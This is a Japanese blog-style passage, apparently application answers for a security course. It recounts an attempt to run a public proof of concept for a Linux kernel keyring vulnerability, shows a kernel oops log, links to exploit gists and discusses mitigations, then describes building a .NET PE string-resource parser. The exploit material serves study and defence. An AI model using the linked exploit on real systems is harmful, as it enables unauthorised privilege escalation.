May 27 01:10:43 yyy-VirtualBox kernel: IP: [<ffffffff811de366>] kmem_cache_alloc+0x76/0x200
May 27 01:10:43 yyy-VirtualBox kernel: PGD d6a0b067 PUD d4574067 PMD 0
May 27 01:10:43 yyy-VirtualBox kernel: Oops: 0000 [#1] SMP

NULL pointer deferenceを確認することができました。

いろいろ試行錯誤しましたが、カーネルという巨大な存在が絡んでくると、一気に難易度が増すなと感じました。

動かそうとしていたPoC( https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f )と、これに並列処理を加えたもの( https://gist.github.com/ywkw1717/124025091edeedf35a64f6c53980114a )を記載しておきます。( /proc/keysの値の変化を見たかったので、それをcatする処理も追加しています )

最後に、このような攻撃を緩和する対策手法について書きたいと思います。SMEPやSMAPやKADRは今回初めて知ることができ、調べていく過程でSELinuxなるものも知りました。攻撃を緩和するためには、SMEPのような防御機構は必須だと思います。ですが調べていく中で、SMEPはROP等のテクニックを使うことで回避が可能だとわかりました。ではどのような対策方法が考えられるのか、3つほど挙げてみました。 まずは、当たり前ですが一番有効かつ簡潔な対策として、アップデートを頻繁に行い常に最新版にしておくということが非常に重要だと思います。公式から提供されているパッチが当たったバージョンを使っていない場合、既知の脆弱性を攻撃者に突かれてしまう危険性があります。頻繁にアップデートしておくことはとても大事なことだと思います。 次に、この問題を解いていて気になったのは、攻撃段階で必要になった2つのアドレスです。これらはstaticなものだと書かれていましたが、ASLRのようにアドレスをランダマイズ化することはできないのでしょうか。ASLRは総当たりで破られてしまったり、攻撃を完全に防ぐ手段ではないですが、緩和することは可能です。 また、今回の脆弱性の検証に、公開されているPoCを使いましたが、このプログラム内では大量の計算を行っています。約42億回のループを回しており、明らかに不自然な動きをしているプログラムです。よって、そのような振る舞いを検知して強制終了させるような防御機構があれば、今回のような攻撃は防げるのかなと考えます。

解いてみた感想としては、難易度が高く、正直他の問題に変えようかと考えた時もありました。しかし、問題に興味を持って始めたのに難しいからやらないというのは理由にならないと思います。わからないぶん、多くのことを自分で調べて手を動かしてやってみたので、得たものは非常に大きかったです。

選択問題A-6

まず完成したコードを貼ります。 gistでsecretにして公開しました。

https://gist.github.com/ywkw1717/d1e5927306b64ea31f10c24aca0b937d

PEファイルはCTFでもよく出てきており、Ollydbgなどで解析したこともあったので、より理解を深めるためにもこの問題に取り組みました。最初はPythonで書こうと思いました。pefileというモジュールを見つけたのですが、これを使っては他者のコードは利用しないというルールに反するかなと思ったので、やめました。次に目を付けたのがC言語です。どうやらWinNt.hというヘッダファイルにPEファイルの構造体が含まれているらしいのでそれをincludeして使おうと思いました。ですが、これでは環境依存するプログラムになってしまうのではないかと考えました。なぜなら、WinNt.hはWindowsでしか使うことができないからです。そこで、Linuxなどでも使えるような環境依存しないプログラムを作ろうと考え、WinNT.hで定義されている構造体をそのまま自分のプログラムに直書きするようにしました。そして、ファイルの頭からパースしていき文字列型リソースを取り出すようにしました。

PEヘッダの構造に関してはこのサイト( http://home.a00.itscom.net/hatada/mcc/doc/pe.html )や持っていた本(デバッガによるx86プログラム解析入門)を参考にしました。より詳細なところはMicrosoftの資料( https://msdn.microsoft.com/en-us/library/ms809762.aspx )を参考にしました。

このプログラムはまず、コマンドライン引数から対象のファイル名を受け取ります。コマンドライン引数が渡されていないときやファイルが開けないときはエラーメッセージを出力して終了します。バイナリモードでファイルを開いた後は、getDosHeader関数にファイルポインタを渡してMZスタブを取得します。PEファイルは、MZスタブやMZ-DOS ヘッダと呼ばれるものから始まります。0x5A4Dがシグネチャとなっており、16進ダンプしたときに先頭に”MZ"という文字が現れるはずです。これはWinNT.hで構造体として宣言されています。WinNT.hのソースはここ( https://source.winehq.org/source/include/winnt.h )を参考にしました。型の宣言で使われているWORDはunsigned shortのtypedefで2バイトです。DWORDはここ( https://msdn.microsoft.com/en-us/library/windows/desktop/aa383751(v=vs.85).aspx )ではunsinged longとしてtypedefされていましたが、自分の環境(Ubuntu16.04 64bit)でsizeof(unsigned long)を出力してみたところ8バイトになってしまいました。これは環境による問題で、WindowsMac OS XUbuntu・Solaris11などで試してみましたが、統一されておらず、さらに32bitと64bitでも違う値になってしまいました。そこで”stdint.h"に入っている”uint32_t”を使うことで環境による差異を無くしました。uint32_tは4バイトです。MZスタブの中でも特に、NTヘッダへのオフセットを保持している”e_lfanew”というメンバが重要です。NTヘッダではPEファイルであることを示すシグネチャ”0x50450000(PE00)“、Fileヘッダ、Optionalヘッダをメンバとして保持しています。ですがこのプログラムでは、構造体を厳密に宣言する必要はないと考え、NTヘッダはPEファイルのシグネチャのみを保持するようにしました。getNtHeaderでNTヘッダを読み込んだ後は、Fileヘッダです。Machineというメンバは、32bitなら0x014C、64bitなら0x8664です。NumberOfSectionsはセクションの数を表すので、セクションヘッダを確保するときに使用します。Fileヘッダを読み込んだ後はOptionalヘッダを読み込みますが、Optionalヘッダは32bitの場合と64bitの場合で少し構造が違います。なので、FileヘッダのMachineで条件分岐して、32bitと64bitに対応するようにしました。Optionalヘッダの下にはセクションヘッダがあり、その下には各セクションの実態があります。先ほど述べた通り、セクションヘッダを確保するためにFileヘッダのNumberOfSectionsの数だけfor文を回し、各セクションの情報を取得します。飛ばし飛ばしでしたが、これでPEヘッダの取得が完了しました。ここまでは特に詰まることなく実装できたのですが、この後からが難しかったです。

まず、問題文にある「文字列型リソース」が何を指しているのかがわからず、stringsコマンドを打った時に表示されるような、表示可能文字列全てを取得するのか.rsrcセクションにある文字列を取得すればいいのか、よくわかりませんでした。そこで、実行したときの動作を考察したり、ILSpyという.NETアプリケーションをデコンパイルできるツールを使い、与えられたプログラムのソースコードを見てみました。与えられた.NETアプリケーションは”Hello world!”、”hoge fuga”、”string test”という3つの文字列を表示して終了しています。さらに、ILSpyでデコンパイルした結果の中にあった、Resourcesというフォルダの中の”ConsoleApplication1.Properties.Resources.resources”というファイルにString Tableがあり、”String1”、”String2”、”String3”をName、”Hello world!”、”hoge fuga”、”string test”をValueとして表していました。よって、”わざわざ3つも文字列を出力していること”、”String Tableが3つのペアを保持していること”から、問題文にある文字列型リソースとはこのString Tableで管理している3つの文字列のことを指しているのではないかと推測しました。

また、.textセクションの構造が全くわかりませんでした。今まで見てきたPEファイルの構造を説明しているサイトや本では、プログラムコードが格納されていること以外はわからず、どうやってパースしようか詰まってしまいました。ですが、ここであることを思い出しました。このプログラムはただのPEファイルではなく.NETアプリケーションであることです。そのことに注意しながらさらに調べると.NETアプリケーションでは.textセクションに格納される内容が違うことがわかりました。stackoverflowに投稿されていたこの質問( http://stackoverflow.com/questions/25095894/understanding-text-section-of-pe-executable )の解答が参考になりました。.NETでは.textセクションに格納される内容が、普通のPEファイルで格納されるものとは違う、.NET特有のものが格納されるのだとわかりました。CLRヘッダというものが使われることがわかり、CorHdr.hファイルで定義されているらしいので、そこに書かれていた”IMAGE_COR20_HEADER”をプログラムの中で定義して、CLRヘッダを取得してみました。最初は.textセクションの開始数バイトが何を指しているのかわからず、ConsoleApplication1.exeのバイナリを見てみて、CLRヘッダの場所を決め打ちで指定していましたが、CLRヘッダへのオフセットを求めてそれを使うようにしました。CLRヘッダへのオフセットもどこかに格納されているはずだと思い調べたところ、Optionalヘッダの中の”DataDirectory”の15番目にそれらしきものが格納されていることがわかりました。DataDirectoryは”IMAGE_DATA_DIRECTORY”という構造体で宣言されています。MicrosoSoftの資料( https://msdn.microsoft.com/en-us/library/windows/desktop/ms680305(v=vs.85).aspx )を参考にしました。ですがこの中に格納されていたのは仮想アドレスだったので、CLRヘッダのVirtualAddressから.textセクションのVirtualAddressを引くことで、.textセクションからCLRヘッダへのオフセットを求めることができました。CLRヘッダを読み込んだ後の0x1330から始まる機械語がなにを指しているのかわかりませんでしたが、このサイト( http://www.atmarkit.co.jp/fdotnet/technology/idnfw11_05/idnfw11_05_03.html )の後半で解説されていました。どうやらメイン関数やその他の関数、つまりコード部分が格納されていて、.NETではILという中間言語が使われていることがわかりました。ILSpyでも平気ですが、使ったことがなかったので、上のサイトで使われていたildasm.exeを使ってConsoleApplication1.exeのメイン部分を読んでみました。メイン関数では”get_String1”、”get_String2”、”get_String3”という3つの関数と、”WriteLine”というコンソールへの出力を担っていそうな関数で構成されていました。ildasm.exeの結果とConsoleApplication1.exeのバイナリを対応させながら読んでいき、callが0x28、retが0x2a、stloc.0~stloc.2がそれぞれ0xa,0xb,0xc、ldloc.0~ldloc.2がそれぞれ0x6,0x7,0x8など、命令と機械語の対応がわかったりしました。

ですが、コード部分が終わったあとが何を指しているのかがまたわからなくなりました。そこで今度は、他の.NETアプリケーションとConsoleApplication1.exeの構造を比較してみることにしました。サンプルとなるものが、過去に参加したCTFで得た.NETアプリケーション2つしかありませんでしたが、それらと比較してみました。すると、”BSJB”という文字列が3つのプログラム全てに現れていました。さらに、ConsoleApplication1.exeの”Hello world!”などの文字列はこのBSJBのすぐ前に現れていること、他の2つのプログラムはBSJBの前に特にそれらしき文字列が現れていないことがわかりました。”BSJBは何かのシグネチャであること”、”ConsoleApplication1.exeは文字列を表現するのにString Tableのようなリソースを使う方式を使っていること”について考察しました。バイトオーダはリトルエンディアンかなと思い、BJSBとし、”0x424A5342”という文字列で検索してみると、このサイト( http://www.ntcore.com/files/dotnetformat.htm )で情報を見つけることができ、Metadataセクションのシグネチャであることがわかりました。知りたいのはMetadataセクションとILコードの間に格納されているデータなので詳しくは調べませんでしたが、.NETアプリケーションには必ず格納されているものだとわかりました。

ここからが一番詰まったのではないかと個人的には思っています。MetadataセクションとILコードの間に格納されているデータが、一体どのような構造で格納されているのかがさっぱりでした。ふと、バイナリに現れている”System.Resources.ResourceReader”という文字列が気になり調べていたらようやく進みました。MicrosoSoftの資料( https://msdn.microsoft.com/ja-jp/library/system.resources.resourcemanager.magicnumber(v=vs.110).aspx )に、ResourceManagerのMagicNumberフィールドは値が”0xBEEFCACE”に設定されると書いてあります。ConsoleApplication1.exeにも0x32Cからリトルエンディアンで格納されていました。ResourceManagerと、それより下の構造に関してはResourceSet.csに定義されている構造体( https://referencesource.microsoft.com/#mscorlib/system/resources/runtimeresourceset.cs,95 )と、実際のバイナリを見ながら実装しました。CLRヘッダの下のILコードは読み込む必要がなかったので、CLRヘッダの時と同様にオフセットを求めて、Resource Manager Headerにアクセスするようにしました。Resource Manager HeaderのメンバであるMagicNumberが始まる前の数バイトは、数えてみるとどうやらRuntime Resource Reader Data Sectionまでのサイズを表していることがわかったので、Resource Manager Headerに格納するようにしました。Runtime Resource Reader Name Sectionの、UTF-16で格納されている文字の前にある1バイトは文字数の長さを指していたので、これもメンバとして保持するようにしました。また、それぞれの文字列の長さの前の1バイトが常に0x1となっていて、これは文字列の開始を表すのかなと思いましたが、確証がなかったのでTopというメンバで保持するようにしました。

ここまで実装することで、ようやくConsoleApplication1.exeの3つの文字列型リソースを取り出すことができました。もしResource Managerなどを使わない形式であれば、Resource Headerが見つからないということで終了するようにしました。他にも、各ヘッダのシグネチャが不正だった場合などは、即終了するようにしました。

実行結果を貼ります。各セクションの情報を表示してから、最後に文字列型リソースを表示するようにしました。1万文字の制限を超えてしまいそうなので、少し省略しています。

$ ./string_parser ConsoleApplication1.exe
File size : 6656

----DOS HEADER----
e_magic: 5A4D
e_clip: 90
…
e_lfanew: 80

----NT HEADER----
Signature: 4550

----FILE HEADER----
Machine: 14C
…

----OPTIONAL HEADER----
Magic: 10B
…
LoaderFlags: 00
NumberOfRvaAndSizes: 10

----IMAGE_DATA_DIRECTORY----
VirtualAddress: 00
Size: 00

VirtualAddress: 2E1C
Size: 4F
…
VirtualAddress: 2008
Size: 48

VirtualAddress: 00
Size: 00

----SECTION HEADER----
[1]
Name: .text
PhysicalAddress: E74
VirtualSize: E74
VirtualAddress: 2000[2]
Name: .rsrc
PhysicalAddress: 590
VirtualSize: 590
…

----CLR HEADER----
cb: 48
MajorRuntimeVersion: 02
MinorRuntimeVersion: 05
…

----Resource Manager Header----
Magic: BEEFCACE
HeaderVersion: 01
…

----Runtime Resource Reader Header----
Version: 02
NumberOfResources: 03
NumberOfType: 00
Padding: PADPADP

HashValues: 82821361
VirtualOffset: 00

HashValues: 82821362
VirtualOffset: 13
…

----String Resource----
[1]
Name: String1
Value: Hello world!

[2]
Name: String2
Value: hoge fuga

[3]
Name: String3
Value: string test

これで終わりかと思いましたが、テストケースなどが手元にないので文字列型リソースが取得できない場合もあるのではないかと思い、他のプログラムもパースしてみることにしました。対象にしたのは”mscorlib.dll”です。これは.NETフレームワークの基本的なクラスやライブラリを格納しているファイルです。よって、このファイルの文字列型リソースを取得することができれば、大抵のファイルで成功するのではないかと考えました。

早速mscorlib.dllを対象に実行してみると、案の定取得できていませんでした。Runtime Resrouce Reader Name Sectionの処理の途中で取得したものが無茶苦茶になっており、どうやら原因は取得しようとしたもののサイズでした。ある一定以上のサイズの時は、サイズを格納する1バイトの後に、もう1バイト”なにか”が格納されていました。とりあえずこれを適当にスキップして回避してみましたが、Runtime Resource Reader Data Sectionのほうも同様でした。ある一定以上のサイズの時は、サイズのあとの1バイトに”なにか”が格納されています。その”なにか”は、0x3である時と0x1である時が見つかりました。0x1の時は、サイズを格納している1バイトの数でパースすることで成功するのですが、0x3の時は明らかにサイズが足りませんでした。サイズの1バイトと、”なにか”を合計した2バイトをリトルエンディアンとして計算してみてもサイズが大きすぎます。全くわからなかったので、その現象が起きるところをいくつか集め、考察してみました。すると0x3の場合は、実際の文字列の長さからサイズの1バイトを引いた値が、どれも0x100になりました。”なにか”が0x2になっている箇所はないかともう一度探してみたところ、ありました。0x2の時は、実際の文字列の長さからサイズの1バイトを引いた値が0x80になりました。0x1の時は、実際の文字列の長さとサイズの1バイトが変わらないことから、これは”0x80 * (n - 1)”をサイズの1バイトに足すことで、実際の文字列のサイズが取得できるのではないかと考えました。1バイトで表現できる数は0xffで255文字です。だからと言って、0xffを超えた時だけサイズをもう1バイト増やしていたのでは、サイズとして1バイト読み込んだ時に、その次の1バイトがサイズの情報なのか、実際の文字列の情報なのかを判別する術がありません。”なにか”が0x1の時に、サイズの1バイトと実際の文字列のサイズが変わらなかったのは、0x80以上の時は2バイト確保するようにしており、0x80~0xffの時は0x1、もし0xffを超えることがあれば0x1が0x2になる、0x3も同様です。このようにすることで、サイズとして1バイト読み込んだ時に、次の1バイトがサイズなのか文字列なのかがわかるようになっているのだと思います。よって、サイズとして確保した1バイトが0x80以上の時は、もう1バイト読み込んで実際のサイズを求めるようにしました。これでようやく、全ての文字列型リソースをパースすることができました。mscorlib.dllの文字列型リソースは、3162個ありました。

実行結果が多すぎるので、文字列型リソースの部分の結果だけを貼ります。

$ ./string_parser mscorlib.dll

…

----String Resource----
[1]
Name: Acc_CreateAbst
Value: Cannot create an abstract class.

[2]
Name: Acc_CreateAbstEx
Value: Cannot create an instance of {0} because it is an abstract class.

[3]
Name: Acc_CreateArgIterator
Value: Cannot dynamically create an instance of ArgIterator.

…

[3159]
Name: event_TaskScheduled
Value: Task {2} scheduled to TaskScheduler {0}.

[3160]
Name: event_TaskStarted
Value: Task {2} executing.

[3161]
Name: event_TaskWaitBegin
Value: Beginning wait ({3}) on Task {2}.

[3162]
Name: event_TaskWaitEnd
Value: Ending wait on Task {2}.

Ubuntu16.04 64bit、Mac OS X 10.9 64bit、Solaris11 32bit、Windows10 64bitなどで動作することを確認しました。Windowsで動かそうと思いexeファイルを生成しようとしたのですが、Visual Studio 2010ではエラーが出ることなくビルドできましたが、Visual Studio 2017では fopenではなく、fopen_sを使えということでエラーを吐かれました。fopen_sを使うようにすればビルドも成功し、正常な動作を確認することができたので、Visual Studio 2017でビルドする場合はfopen_sを使う必要がありそうです。

実装するのに1週間ほどかかってしまいましたが、PEファイルや.NETアプリケーションの構造の理解がかなり深まり、とても勉強になりました。